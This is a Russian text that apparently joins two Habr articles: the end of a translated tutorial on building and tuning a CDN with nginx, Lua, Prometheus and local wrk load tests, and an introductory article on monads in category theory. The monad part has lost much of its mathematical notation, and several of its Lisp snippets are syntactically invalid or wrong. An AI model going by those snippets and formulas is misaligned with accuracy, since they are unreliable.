После настройки кэша нам также нужно настроить [`proxy_cache`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache), указывающий на правильную зону (при помощи `proxy_cache_path keys_zone=:size`), и [`proxy_pass`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass), указывающий на созданный нами upstream.
```
location / {
# ...
proxy_pass http://backend;
proxy_cache zone_1;
}
```
Существует ещё один важный аспект кэширования, которым управляет директива [`proxy_cache_key`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_key). Когда клиент запрашивает контент у Nginx, то он выполняет следующие действия (в очень упрощённом виде):
* Получает запрос (допустим: `GET /path/to/something.txt`).
* Применяет хеш-функцию md5 к значению ключа кэша (допустим, ключ кэша — это `uri`): md5("/path/to/something.txt") => `b3c4c5e7dc10b13dc2e3f852e52afcf3`. Можете проверить это в терминале следующим образом: `echo -n "/path/to/something.txt" | md5`.
* Эта команда проверяет, кэширован ли контент (hash `b3c4..`).
* Если он кэширован, то она просто возвращает объект, а в противном случае получает контент у бэкенда. Также она выполняет локальное сохранение (в памяти и на диске), чтобы избежать запросов в будущем.
Давайте создадим переменную с именем `cache_key` при помощи директивы Lua [`set_by_lua_block`](https://github.com/openresty/lua-nginx-module#set_by_lua). Она будет для каждого входящего запроса заполнять `cache_key` **значением** `uri`. Кроме этого мы также должны модифицировать [`proxy_cache_key`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_key).
```
location / {
set_by_lua_block $cache_key {
return ngx.var.uri
}
# ...
proxy_cache_key $cache_key;
}
```
> Подсказка: при использовании `uri` в качестве ключа кэша два следующих запроса <http://example.com/path/to/content.ext> и <http://example.edu/path/to/content.ext> будут выполняться так, как будто один являются одним объектом (если они используют одинаковый прокси кэша). Если вы не укажете ключ кэша, Nginx будет использовать разумное **значение по умолчанию** `$scheme$proxy_host$request_uri`.
Теперь кэширование будет работать правильно.
```
git checkout 2.1.0
docker-compose up
http "http://localhost:8081/path/to/my/content.ext"
# второй запрос должен получать контент от CDN, не переходя к бэкенду
http "http://localhost:8081/path/to/my/content.ext"
```
### Инструменты мониторинга
Проверять эффективность кэша при помощи командной строки не очень удобно. Для этого лучше использовать специальный инструмент. Для скрейпинга метрик на всех серверах мы возьмём **Prometheus**, а **Grafana** будет отображать графики на основании собранных Prometheus метрик.
Конфигурация Prometheus будет выглядеть вот так.
```
global:
scrape_interval: 10s # prometheus будет выполнять скрейпинг каждые 10 с
evaluation_interval: 10s
scrape_timeout: 2s
external_labels:
monitor: 'CDN'
scrape_configs:
- job_name: 'prometheus'
metrics_path: '/status/format/prometheus'
static_configs:
- targets: ['edge:8080', 'backend:8080'] # список серверов, которые будут скрейпиться scrap_path
```
Теперь нам нужно добавить источник Prometheus для Grafana.
И настроить сервер Prometheus.
### Симуляция работы (задержка)
Бэкенд-сервер создаёт ответы искусственным образом. При помощи Lua мы добавим симулируемую задержку. Смысл в том, чтобы приблизить систему к реальному миру. Мы будем моделировать задержки при помощи [перцентилей](https://www.mathsisfun.com/data/percentiles.html).
```
percentile_config={
{p=50, min=1, max=20,}, {p=90, min=21, max=50,}, {p=95, min=51, max=150,}, {p=99, min=151, max=500,},
}
```
Мы случайным образом выбираем число от 1 до 100, а затем применяем ещё одно случайное значение при помощи соответствующего `профиля перцентилей` в интервале от min до max. Наконец, мы выполняем [`sleep`](https://github.com/openresty/lua-nginx-module#ngxsleep) в течение этого времени.
```
local current_percentage = random(1, 100) -- решаем, в каком перцентиле будет этот запрос
-- допустим, мы выбрали 94
-- следовательно, используем percentile_config с p90
local sleep_duration = random(p90.min, p90.max)
sleep(sleep_seconds)
```
Эта модель позволяет нам эмулировать [задержки, наблюдаемые в реальном мире](https://research.google/pubs/pub40801/).
### Нагрузочное тестирование
Мы выполним нагрузочное тестирование, чтобы больше узнать о создаваемом нами решении. Wrk — это инструмент HTTP-бенчмаркинга, который можно динамически конфигурировать при помощи Lua. Мы выбираем случайное число от 1 до 100 и запрашиваем этот элемент.
```
request = function()
local item = "item_" .. random(1, 100)
return wrk.format(nil, "/" .. item .. ".ext")
end
```
Командная строка будет выполнять тесты в течение 10 минут (600s), используя два потока и 10 соединений.
```
wrk -c10 -t2 -d600s -s ./src/load_tests.lua --latency http://localhost:8081
```
Разумеется, можно запустить их и на своей машине:
```
docker-compose up
# выполняем тесты
./load_test.sh
# проверяем в grafana, как себя ведёт система
http://localhost:9091
```
Вывод `wrk` показан ниже. Было выполнено **37 тысяч** запросов, **674** из которых оказались сбойными.
```
Running 10m test @ http://localhost:8081
2 threads and 10 connections
Thread Stats Avg Stdev Max +/- Stdev
Latency 218.31ms 236.55ms 1.99s 84.32%
Req/Sec 35.14 29.02 202.00 79.15%
Latency Distribution
50% 162.73ms
75% 350.33ms
90% 519.56ms
99% 1.02s
37689 requests in 10.00m, 15.50MB read
Non-2xx or 3xx responses: 674
Requests/sec: 62.80
Transfer/sec: 26.44KB
```
Grafana показывает, что единовременно `edge` отвечал на 68 запросов. Из этих запросов 16 прошли через `backend`. [Эффективность кэша](https://www.cloudflare.com/learning/cdn/what-is-a-cache-hit-ratio/) составила 76%, 1% задержки запроса был дольше 3,6 с, у 5% наблюдаемых — более чем 786 мс, а медианное значение оказалось примерно равным 73 мс.
Учимся, тестируя: поменяем TTL (max age) кэша
---------------------------------------------
Этот проект должен мотивировать вас экспериментировать, менять значения параметров, выполнять нагрузочное тестирование и проверять результаты. Думаю, этот цикл отлично подойдёт для обучения. Давайте попробуем проверить, что происходит, когда мы меняем поведение кэша.
### 1 секунда
Используем в качестве срока валидности кэша значение в 1 с.
```
request = function()
local item = "item_" .. random(1, 100)
return wrk.format(nil, "/" .. item .. ".ext?max_age=1")
end
```
После выполнения тестов мы получим следующий результат: всего 16 тысяч запросов с 773 ошибками.
```
Running 10m test @ http://localhost:8081
2 threads and 10 connections
Thread Stats Avg Stdev Max +/- Stdev
Latency 378.72ms 254.21ms 1.46s 68.40%
Req/Sec 15.11 9.98 90.00 74.18%
Latency Distribution
50% 396.15ms
75% 507.22ms
90% 664.18ms
99% 1.05s
16643 requests in 10.00m, 6.83MB read
Non-2xx or 3xx responses: 773
Requests/sec: 27.74
Transfer/sec: 11.66KB
```
Также мы заметили, что количество попаданий кэша существенно снизилось `(23%)`, и гораздо больше запросов начало утекать в бэкенд.
### 60 cекунд
Что, если мы увеличим срок жизни кэша до целой минуты?
```
request = function()
local item = "item_" .. random(1, 100)
return wrk.format(nil, "/" .. item .. ".ext?max_age=60")
end
```
После выполнения тестов результат оказался таким: 45 тысяч запросов с 551 ошибкой.
```
Running 10m test @ http://localhost:8081
2 threads and 10 connections
Thread Stats Avg Stdev Max +/- Stdev
Latency 196.27ms 223.43ms 1.79s 84.74%
Req/Sec 42.31 34.80 242.00 78.01%
Latency Distribution
50% 79.67ms
75% 321.06ms
90% 494.41ms
99% 1.01s
45695 requests in 10.00m, 18.79MB read
Non-2xx or 3xx responses: 551
Requests/sec: 76.15
Transfer/sec: 32.06KB
```
Мы видим существенно увеличившуюся эффективность кэша (80% вместо 23%) и пропускную способность (45 тысяч вместо 16 тысяч).
> Подсказка: более долгий срок валидности кэша помогает повысить производительность, однако ценой устаревания контента.
Тонкая настройка: блокировка кэша, устаревание, таймаут, сеть
-------------------------------------------------------------
Для многих небольших нагрузок вполне подойдут стандартные конфигурации Nginx, Linux и других инструментов. Однако если ваша задача более амбициозна, то вам неизбежно придётся подстраивать CDN под свои требования.
Процесс тонкой настройки веб-сервера — очень трудоёмкая задача. Он простирается от управления [`обработкой сокетов в nginx/Linux`](https://blog.cloudflare.com/the-sad-state-of-linux-socket-balancing/) до [`опрашивания сети в Linux`](https://github.com/leandromoreira/linux-network-performance-parameters) и влияния [`ввода-вывода`](https://serverfault.com/questions/796665/what-are-the-performance-implications-for-millions-of-files-in-a-modern-file-sys) на производительность, а также учитывает ещё множество других аспектов. Существует сильный симбиоз между [приложением и ОС](https://nginx.org/en/docs/http/ngx_http_core_module.html#sendfile), непосредственно влияющий на производительность, например, [экономия переключения контекста пространства пользователя при помощи ktls](https://docs.kernel.org/networking/tls-offload.html).
Вам придётся изучать множество страниц документации, в основном для настройки таймаутов и буферов. Цикл тестирования позволит вам проверять свои идеи. Пример:
* у вас есть гипотеза или вы заметили что-то странное и хотите протестировать значение параметра (каждый раз используйте единый набор связанных с ним параметров);
* задаёте новое значение;
* выполняете тесты;
* сравниваете результаты для того же сервера со старым параметром.
> Подсказка: локальное выполнение тестов вполне подходит для обучения, однако чаще всего вам придётся доверять только результатам в продакшене. Будьте готовы к необходимости выполнения частичного развёртывания, сравнению старых систем/конфигураций с новыми тестируемыми параметрами.
Вы заметили, что ошибки были связаны с таймаутами? Похоже, `бэкенду` нужно больше времени для ответа, чем готов ждать `edge`.
```
edge_1 | 2021/12/29 11:52:45 [error] 8#8: *3 upstream timed out (110: Operation timed out) while reading response header from upstream, client: 172.25.0.1, server: , request: "GET /item_34.ext HTTP/1.1", upstream: "http://172.25.0.3:8080/item_34.ext", host: "localhost:8081"">
```notranslate
edge_1 | 2021/12/29 11:52:45 [error] 8#8: *3 upstream timed out (110: Operation timed out) while reading response header from upstream, client: 172.25.0.1, server: , request: "GET /item_34.ext HTTP/1.1", upstream: "http://172.25.0.3:8080/item_34.ext", host: "localhost:8081"
```
Чтобы решить эту проблему, мы можем попробовать увеличить таймауты прокси. Также можно использовать удобную директиву [`proxy_cache_use_stale`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_use_stale), передающую `устаревший контент`, пока Nginx работает с `ошибками, таймаутами или даже с обновлением кэша`.
```
proxy_cache_lock_timeout 2s;
proxy_read_timeout 2s;
proxy_send_timeout 2s;
proxy_cache_use_stale error timeout updating;
```
Когда мы читали о прокси-кэшировании, кое-что привлекло наше внимание. Существует директива [`proxy_cache_lock`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_lock), объединяющая множественные запросы пользователей к одному контенту в единый запрос, идущий `upstream` для получения контента одновременно. Часто это называют [coalescing](https://cloud.google.com/cdn/docs/caching#request-coalescing).
```
proxy_cache_lock on
```
Выполняя тесты, мы заметили, что уменьшаем ошибки таймаута, но также снижаем и пропускную способность. Почему? Возможно, это вызвано конфликтом при блокировках (lock contention). Большое преимущество этой функции заключается в том, что она позволяет избегать [несметных орд запросов](https://alexpareto.com/2020/06/15/thundering-herds.html) в бэкенде. Трафик снизился с 6 тысяч до 3 тысяч, а запросы — с 16 до 8.
От нормального распределения к распределению длинного хвоста
------------------------------------------------------------
Мы выполняли нагрузочное тестирование, исходя из [нормального распределения](https://en.wikipedia.org/wiki/Normal_distribution), однако это далеко от реальности. В продакшене мы можем увидеть, что [большинство запросов обращено к малому количеству элементов](https://en.wikipedia.org/wiki/Long_tail). Чтобы ближе симулировать это, мы можем дополнить свой код так, чтобы он случайно выбирал число от 1 до 100, а потом решал, популярный ли это элемент.
```
local popular_percentage = 96 -- 96% пользователей запрашивают пять самых популярных элементов контента
local popular_items_quantity = 5 -- количество популярных элементов контента
local max_total_items = 200 -- общее количество элементов, запрашиваемых клиентами
request = function()
local is_popular = random(1, 100) <= popular_percentage
local item = ""
if is_popular then -- если он популярный, будем выбирать один из популярных элементов
item = "item-" .. random(1, popular_items_quantity)
else -- в противном случае выбираем любой из оставшихся элементов
item = "item-" .. random(popular_items_quantity + 1, popular_items_quantity + max_total_items)
end
return wrk.format(nil, "/path/" .. item .. ".ext")
end
```
> Подсказка: мы можем смоделировать длинный хвост при помощи [формулы](https://firstmonday.org/ojs/index.php/fm/article/view/1832/1716), но для нашего примера такой интерполяции может быть вполне достаточно.
Теперь давайте снова выполним тест с отключённой и включённой `proxy_cache_lock`.
*Отключённая proxy\_cache\_lock длинного хвоста*
*Включённая proxy\_cache\_lock длинного хвоста*
Показатели довольно близки, хотя `lock off` и чуть лучше. Возможно, стоит проверить эту функцию в продакшене.
> Подсказка: `proxy_cache_lock_timeout` опасна, но необходима. Если истечёт сконфигурированное время, все запросы будут отправляться в бэкенд.
Сложности маршрутизации
-----------------------
Мы тестировали один edge, но в реальности будут существовать сотни узлов. Наличие большего количества узлов edge необходимо для масштабируемости, надёжности и обеспечения близости к ответам пользователей. При добавлении множества узлов мы добавляем и новые сложности: клиентам нужно каким-то образом понять, с какого узла получать контент.
Для решения этой проблемы существуют различные способы, и мы попробуем изучить некоторые из них.
### Балансировка нагрузки
Балансировщик нагрузки распределяет запросы клиентов по всем edge.
#### ▍ Циклический перебор
Циклический перебор (Round-robin) — это политика балансировки, получающая упорядоченный список edge и обрабатывающая запросы, каждый раз выбирая сервер и начиная сначала после завершения списка серверов.
```
# если мы не указываем ничего в nginx, то по умолчанию будет использоваться политика взвешенного round-robin
# http://nginx.org/en/docs/http/ngx_http_upstream_module.html#upstream
upstream backend {
server edge:8080;
server edge1:8080;
server edge2:8080;
}
server {
listen 8080;
location / {
proxy_pass http://backend;
add_header X-Edge LoadBaalancer;
}
}
```
Что же хорошего в `round-robin`? Все запросы почти равномерно распределяются по всем серверам. Могут существовать медленные серверы или ответы, ставящие в очередь множество запросов. Существует директива [`least_conn`](http://nginx.org/en/docs/http/ngx_http_upstream_module.html#least_conn), также учитывающая количество соединений.
Что в ней плохого? Она не учитывает кэширование, то есть множество клиентов может столкнуться с повышенными задержками, потому что они запрашивают некэшированные серверы.
```
# время для демонстрации
git checkout 4.0.0
docker-compose up
./load_test.sh
```
> Подсказка: сам балансировщик нагрузки играет здесь роль единой точки отказа. У [Facebook\* есть отличный доклад](https://www.youtube.com/watch?v=bxhYNfFeVF4), в котором рассказывается, как компания создала надёжный, удобный в обслуживании и масштабируемый балансировщик нагрузок. [\*Запрещённая в России социальная сеть.]
#### ▍ Согласованное хеширование
Учёт кэширования важен для CDN, поэтому сложно использовать round-robin в её исходном виде. Существует способ балансировки под названием [`согласованное хеширование`](https://en.wikipedia.org/wiki/Consistent_hashing), предназначенный для решения этой проблемы при помощи выбора сигнала (например, `uri`) и сопоставления его с хеш-таблицей при согласованной отправке всех запросов одному серверу.
В Nginx для этого тоже есть директива под названием [`hash`](http://nginx.org/en/docs/http/ngx_http_upstream_module.html#hash).
```
upstream backend {
hash $request_uri consistent;
server edge:8080;
server edge1:8080;
server edge2:8080;
}
server {
listen 8080;
location / {
proxy_pass http://backend;
add_header X-Edge LoadBaalancer;
}
}
```
Что хорошего в `согласованном хешировании`? Оно реализует политику, увеличивающую вероятность попадания в кэш.
Что в нём плохого? Представьте, что возникло пиковое использование одного контента (видео, игры), и теперь у нас возникла проблема: большинству клиентов отвечает малое количество серверов.
> Подсказка: для решения этой проблемы придумали [согласованное хеширование с ограничением нагрузки](https://medium.com/vimeo-engineering-blog/improving-load-balancing-with-a-new-consistent-hashing-algorithm-9f1bd75709ed).
```
# время для демонстрации
git checkout 4.0.1
docker-compose up
./load_test.sh
```
> Подсказка: изначально я использовал библиотеку Lua, потому что думал, что согласованное хеширование доступно только в коммерческой версии Nginx.
#### ▍ Узкое место балансировщика нагрузок
У балансировщика нагрузок есть как минимум две проблемы (кроме того, что это [единая точка отказа](https://en.wikipedia.org/wiki/Single_point_of_failure)):
* Network egress — ёмкость полосы пропускания ввода/вывода балансировщика нагрузок должна быть не меньше суммы для всех его серверов. Можно использовать [DSR](https://www.loadbalancer.org/blog/yahoos-l3-direct-server-return-an-alternative-to-lvs-tun-explored/) или [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307).
* Распределённые edge — могут существовать географически разбросанные узлы, представляющие трудности для балансировщика нагрузок.
### Достижимость сети
Многие из проблем, которые мы рассматривали в разделе о балансировщике нагрузок, связаны с достижимостью сети. Здесь мы рассмотрим некоторые способы устранения этой трудности, каждый из которых имеет свои плюсы и минусы.
#### ▍ API
Мы можем добавить `API (cdn-маршрутизацию)`, и все клиенты будут узнавать, где искать контент (`конкретный узел edge`), только спросив у этого API. Возможно, клиентам придётся иметь дело с аварийным переключением (failover).
> Подсказка: решая проблему на стороне ПО, можно объединить лучшее из двух миров — начать балансировку с использованием `согласованного хеширования`, а когда контент станет популярным, использовать [естественное распределение получше](https://brooker.co.za/blog/2012/01/17/two-random.html).
#### ▍ DNS
Для этого можно использовать DNS. Это решение кажется похожим на использование API, но здесь мы будем полагаться на TTL DNS-кэширования. Аварийное переключение в таком случае будет ещё более жёстким.
#### ▍ Anycast
Также можно использовать единый [домен/IP, оповещая об IP](https://en.wikipedia.org/wiki/Anycast) все места, где есть узлы, уходя от [протоколов сетевой маршрутизации](https://www.youtube.com/watch?v=O6tCoD5c_U0), чтобы находить ближайший узел для конкретного пользователя.
Прочее
------
Мы не рассмотрели множество важных аспектов CDN, например:
* [Пиринг](https://www.peeringdb.com/) — CDN хостят свои узлы/контент у Интернет-провайдеров, в публичных местах пиринга и частных местах.
* Безопасность — CDN подвергаются множествам атак, DDoS, [отравлению кэширования](https://youst.in/posts/cache-poisoning-at-scale/) и прочему.
* [Стратегии кэширования](https://netflixtechblog.com/netflix-and-fill-c43a32b490c0) — в некоторых случаях вместо получения контента из бэкенда сам бэкенд передаёт контент на edge.
* [Арендаторы](https://en.wikipedia.org/wiki/Multitenancy)/изоляция — CDN хостят множество клиентов на одинаковых узлах, поэтому изоляция обязательна. Метрики, площадь кэширования, конфигурации (политики кэширования, бэкенд) и так далее.
* Токены — CDN обеспечивают [защиту токенами](https://en.wikipedia.org/wiki/JSON_Web_Token) для контента от неавторизованных клиентов.
* [Проверка состояния (обнаружение сбоев)](https://youtu.be/1TIzPL4878Q?t=782) — информирование о функциональности узла.
* HTTP-заголовки — очень часто (например, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)) клиенту нужно добавлять какие-то заголовки (иногда динамически)
* [Геоблокировка](https://github.com/leev/ngx_http_geoip2_module#example-usage) — для экономии средств или реализации договорных ограничений CDN используют политики ограничений по местоположению пользователей.
* Очистка — способность [очистки контента из кэша](https://docs.nginx.com/nginx/admin-guide/content-cache/content-caching/#purging-content-from-the-cache).
* [Троттлинг](https://github.com/leandromoreira/nginx-lua-redis-rate-measuring#use-case-distributed-throttling) — ограничение количества одновременных запросов.
* [Edge-вычисления](https://leandromoreira.com/2020/04/19/building-an-edge-computing-platform/) — способность выполнять код в качестве фильтра для хостящегося контента.
* и так далее...
Заключение
----------
Надеюсь, вы чуть больше узнали о том, как работает CDN. Это сложная система, сильно зависящая от того, как близко к клиентам расположены узлы и насколько хорошо распределена нагрузка, требующая учёта кэширования для сглаживания пиков и падений трафика.
> **[Играй в нашу новую игру прямо в Telegram!](https://t.me/ruvds_community/130)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=sozdayom_i_nastraivaem_sobstvennuyu_cdn)
``` | https://habr.com/ru/post/709548/ | null | ru | null |
# Монады с точки зрения теории категорий
Введение
========
Кажется, монады в программировании стали загадкой века. И для этого есть две причины:
* недостаточное знание теории категорий;
* многие авторы стараюстся не упоминать категории вообще.
Это как говорить об электричестве не используя мат. анализ. Достаточно для замены предохранителя, не хватит, чтобы спроектировать усилитель.
Мы начнём с простого введения в категории и функторы, затем дадим определение монады, приведём простые примеры монад в категориях и в конце приведём монадическую терминологию используемую в языках программирования.
Я уверен, что монады с точки зрения категорий почти элементарны.
Содержание
==========
1. [Категория](#category)
2. [Функтор](#functor)
3. [Естественное преобразование](#nat_trans)
4. [Монада](#monad)
5. [Монады исключения и состояния](#monad_state)
6. [Монады в программировании](#monad_prog)
7. [Ссылки](#refs)
Категория
=========
*Категория* состоит из *объектов* и *морфизмов* между ними. Термин «морфизм» не совсем корректен (он не обязан превращать что-то), по этому, часто, морфизм называют «стрелкой» для того, чтобы показать его абстрактную сущность.
Мы будем использовать термин «стрелка» во всех случаях, кроме того, когда стрелка обозначает некоторую функцию, тогда мы будем называть её «морфизм», но для меня он всё равно останется стрелкой.
Неважно, чем является объект или стрелка, важно только выполнение следующих свойств:
Стрелка рисуется между объектами (при этом объект может быть одним тем же); это обозначается следующим образом: f: a → b, где f это стрелка, а a и b — объекты.
1. Для стрелок f: a → b и g: b → c существует такая стрелка h: a → c называемая *композицией*: h = g ° f.
2. Для каждого объекта a существует *единичная стрелка*, ida: a → a, такая, что для любого f: a → b следующее верно:
f ° ida = f и для любого g: c → a мы имеем ida ° g = g.
3. Композиция ассоциативна: f ° (g ° h) = (f ° g) ° h.
> *Замечание*. В виду чрезвычайно абстрактной природы этой записи, мы не можем ожидать, что «все объекты» или «все стрелки из a к b» образуют множество. Категории, где они являются множествами называются «малые» или «локально малые».
### Примеры категорий
Примеры «классических» категорий:1. **Set** — категория всех множеств. Её объекты это все множества, а морфизмы — функции над множествами.
2. **Setf** — категория всех конечных множеств и функций между ними.
3. **Rel** — категория, где объекты это все множества, а бинарные отношения играют роль морфизмов. Композиция объедена через внутеннее объединение.
4. **Part** — категория всех множеств и частичных функций как морфизмов. Частичная функция из X к Y это функция из подмножества Xo ⊂ X к Y:
5. **Top** — категория всех топологических пространств и непрерывных функций между ними.
Существуют также категории, являющиеся не просто общими теориями:1. Любая группа может быть рассмотрена как категория: группа элементов это морфизмы над единственным объектом.
Тождественная функция это нейтральный элемент группы. А композицией является умножение.
2. Частично упорядоченное множество может быть представленно как категория. Элементы множества это объекты. Добавим одну стрелку a → b для каждой пары a, b так, что a < b и единичную стрелку a → a для каждого a.
Для каждой пары объектов существует не более, чем одна стрелка и, так как частичный порядок транзитивен, мы имеем композицию (a < b, b < c => a < c), то есть можно не переживать о его ассоциативности.
3. Как особый случай прошлого примера — множество целых чисел [N… M] можно считать категорией.
4. Любой ориентированный граф может быть преобразован в категорию, если считать его пути стрелками. Пустой путь является единичным морфизмом, а конкатенация путей будет композицией.
5. Натуральные числа как объекты, матрицы как стрелки. Любая матрица NxM будет стрелкой N → M. Перемножение матриц будет играть роль композиции, а единичная матрица NxN будет единичной стрелкой N → N.
### Дополнительный материал
Просто определить изоморфизм в категории — им является тот, что имеет инверсию. То есть, в том случае, если мы имеем f: a → b и g: b → a, и выполняется f ° g = idb и g ° f = id a. Это определение потребуется нам позже. Также возможно определить мономорфизм и эпиморфизм, это несколько сложнее и выходит за рамки данной статьи.
Помните объекты [0… N] из прошлой главы? Существуют особые категории: **1** = [0] и **2** = [0… 1]. Первая является одним объектом с единственным морфизмом, вторая — двумя объектами и тремя морфизмами.
Образуют ли сами категории категорию? Да, но тогда нам следует дать определение стрелок между ними. Они являются стрелками второго порядка и называются функторами.
Функтор
=======
Функтор отображает одну категорию в другую. Для того, чтобы сделать это, нам нужно отобразить объекты из первой категории во вторую и стрелки (морфизмы) из первой категории в стрелки второй категории непротиворечивым образом.
Какую непротиворечивость мы ожидаем? Пусть X и Y будут двумя категориями; определим функтор F: X → Y. Теперь нам нужно отобразить объекты из X в Y, имея для каждого a в X объект F(a) в Y и для каждой стрелки f в X мы должны иметь стрелку F(f) в Y.
Для непротиворечивости должны выполняться следующие правила:* для f: a → b имеем F(f): F(a) → F(b) — сохраняются домен и кодомен;
* для ida: a → a имеем F(ida) = idF(a): F(a) → F(a) — сохраняется единица;
* для f: a → b и g: b → c F(g ° f) = F(g) ° F(f) — сохраняется композиция.
Очевидным образом определена композиция функторов: в начале применяется первый функтор, затем остальные.
### Примеры функторов
1. Тождественный функтор для категории X. Хотя тождественность X → X сохраняет объекты и стрелки неизмененными это всё еще функтор.
2. **Setf Set** — функтор, который включает **Setf** в **Set**, отображая конечные множества в самих себя, то же самое с функциями. Обратите внимание, что это не тождественный функтор.
3. **Set → Top** аналогично предыдущему примеру, этот функтор делает **Set** частью **Top**. Каждое множество отображается в дискретное топологическое пространство.
4. Для любого множества A мы можем определить следующий функтор:
(- xA): **Set** → **Set** — он отобразит любое множество X в декартово произведение X × A.
5. Для любого множества A можно определить функтор PA: **Set** → **Set**, который отобразит любое множество X в XA — множество функций из A в X.
6. **Set Part** вводит множеста в множества с частичными функциями — отображает множества и функции в них самих.
7. Обратным к п.6 является функтор +Null: **Part** → **Set** — этот функтор добавляет «расширение» Null к каждому множеству X ↦ (X + Null) так, что частичная функция X → Y отображается в функцию (X + Null) → (Y + Null).
> *Упражнение*. Определите такое же расширение для частичных функций.
Посмотрим на малые категории и их функторы.1. Если мы примем группы за категории, то чем же будут их функторы? Функтор должен сохранять единичный морфизм и композицию. Следовательно, функтор это гомоморфизм группы.
2. Любая функция сохраняющая порядок (т.н. монотонная) между двумя частично упорядоченным множествами является функтором.
3. Возьмем пару ориентированных графов и отображение, которое сохраняет ребра. Мы можем расширить это отображение до функции, что отображает путь из одного графа в пути на другом графе. Эта функция, по определению, сохраняет связи и пустые пути, таким образом это функтор из одной созданной по графу категории в другую.
4. Помните категорию **1**? И так, как будет выглядеть функтор из **1** в категорию **C**? **1** имеет всего лишь один объект и тождественный морфизм. Таким образом определение этого функтора равносильно выбору объекта из **C** и наоборот — для любого объекта X в категории **C** мы можем определить функтор PointX: **1** → **C**.
Естественное преобразование
===========================
Должно быть, это самая сложная часть. Предположим, что мы имеем два функтора F, G: **X** → **Y**. Естественное преобразование η: F → G определено, когда для каждого объекта x ∈ **X** существует стрелка η(x): F(x) → G(x) в **Y** и мы имеем следующее свойство:* для всех f: a → b верно равенство: G(f) ° η(a) = η(b) ° F(f).
По этому оно называется «естественным» — оно действует непротиворечиво с действиями функторов на стрелки.
### Примеры естественных преобразований
1. Помните функтор точки? И так, если в категории **C** мы имеем стрелку f: a → b, эта стрелка определяет естественное преобразование из Pointa в Pointb. Это отношение один-к-одному между преобразованием функтора точки и стрелками категории.
2. Возьмем два множества A и B и функцию f: A → B. Эта функция определяет естественное преобразование между функторами (- xA),(- xB): **Set** → **Set**. (- xf): (- xA) → (- xB) по следующей формуле: (x, a) ↦ (x, f(a)).
Можно записать это определение в следующем виде:
```
(define (cartesian f)
(lambda (x a) (list x (f a))))
```
Так как для каждого множества A существует функция A → (.), где (.) синглетон, мы имеем естественное преобразование (- xA) → 1, что является для каждого объекта X проекцией: X ⨯ A → X.
Для каждого A в **Set** существует естественное преобразование 1 → PA. Возьмём любое X в **Set**; нам требуется функция из X в XA. Естественным выбором будет та, что отображает каждый элемент x из X в константную функцию из A в X, которая возвращает x.
Опять же, это определение можно записать следующим образом:
```
(define (return x) (lambda (a) (x)))
```
Монада
======
Монада в категории **C** это эндофунктор T: **C** → **C** с двумя естественными преобразованиями: η: 1 → T и μ: T ° T → T.Обозначим за T(η): T → T ° T преобразование, результатом которого является применение T к η и T(μ): (T ° T) ° T → T ° T.
Пользуясь этими определениями запишем две аксиомы монад:
1. T(η) ° μ это тождество T → T
2. T(μ) ° μ равносильно μ ° μ:
### Примеры монад
1. Для любой категории **C** может быть определена тождественная монада, состоящая из тождественного функтора и тождественного морфизма.
2. Предположим, что у нас есть группа G. Определим монаду MG в **Set**. Функтор монады будет следующим:
X ↦ X × G.
u(X): X → X × G отображает элемент x в пару (x, e), где e это единица группы.
MG(MG(X)) = (idX, mG), где mG это умножение групп.
3. Списки в **Set**. Результатом применения функтора, назовем его List, для множества X является множество всех списков (x1, x2, x3...) элементов из X, включая пустое. Этот функтор станет популярной монадой, если мы добавим u и m. Пусть uX: X → List(X) создает список из единственного элемента для каждого x ∊ X и mX: List(List(X)) → List(X) отображает список списков в плоский список.
Операция замыкания. Не уверен, много ли она имеет общего с той же операцией из «computer science».
Помните, что мы можем считать частично-упорядоченные множества и их функции, сохраняющие порядок, как категории и функторы?
Монотонная (сохраняющая порядок) функция C: X → X называется замыканием, если ∀ x ∊ X x <= C(x) и C(C(x)) = C(x).
Эти два условия являются ни чем иным, как аксиомами монад, применёнными к частично-упорядоченным множествам, считая, что монады в частично-упорядоченных множествах и есть замыкания. Также можно попытаться применить это к частично-упорядоченным множествам путей графа.
Монады исключения и состояния
=============================
### Монада исключения
Мы в категории **Part**. Возьмём множество A и определим следующий функтор:
PlusNull: X ↦ (X+Null)
Мы уже рассматривали этот функтор, в прошлый раз он был из **Part** в **Set**. На этот раз мы создадим его с включением **Set** в **Part**, то есть получим эндофунктор.
Почему он является монадой? Нам потребуется ещё uX: X → (X+Null) и mX: ((X+Null)+Null) → (X+Null).
В первом случае это простое включение, а во втором мы отображаем оба Null синглтона в Null. На Lisp это выглядит следующим образом:
```
(define (ux x) x)
(define (mx x) x)
```
Как вы видите, это монада (а если нет, то, в качестве упражнения, докажите это).
### Монада состояния
Мы в категории **Set**. Возьмём множество A и определим следующий функтор:
X ↦ (X × A)A
Об A можно думать, как о множестве состояний некоторого автомата, тогда (X × A)A включает в себя все состояния автомата на X с выводом в X, то есть всех функций A → (A × X), первый компонент является преобразованием, а второй выводом в X.
Почему это монада? uX: X → (A × X)A отображает любой элемент x ∊ X в функцию, являющуюся тождественной на A и константой x на X.
Опишем это на Lisp:
```
(define (ux x)
(lambda (a) (list a x)))
```
А что на счёт mX: (A × (A × X)A)A → (A × X)A?
Имея коллекцию автоматов mX: (A × (A × X)A)A, которая имеет A как множество состояний, которое выводится в другую коллекцию автоматов (эти тоже имеют A как множество состояний, но X как множество выводов). Каким образом, для такого составного автомата, можно найти соответствие в множестве A?
Опишем это на Lisp:
```
(define (mx f)
(let (tr1 out1)
((car f) (cadr f))) ;два компонента f: A → (A × (A × X))^A
(lambda (a)
(let a1 (tr1 a)) ;состояния после первого преобразования
(let f2 (out1 a)) ;отображение состояния в другой автомат
(let (tr2 out2) ((car f2) (cadr f2))) ;составные части второго автомата
(list (tr2 a1) (out2 a1))))
```
Здесь происходит следующее: у нас есть функция из A в A × (A × X)A, которая состоит из преобразования A → A и вывода A → (A × X)A, то есть для каждого a мы имеем другое состояние a1 и вывод в виде функции, результирующая функция из A в A × X должна просто применить эту выходную функцию к новому состоянию.
> *Скучное упражнение*. Докажите, что это действительно монада.
Монады в программировании
=========================
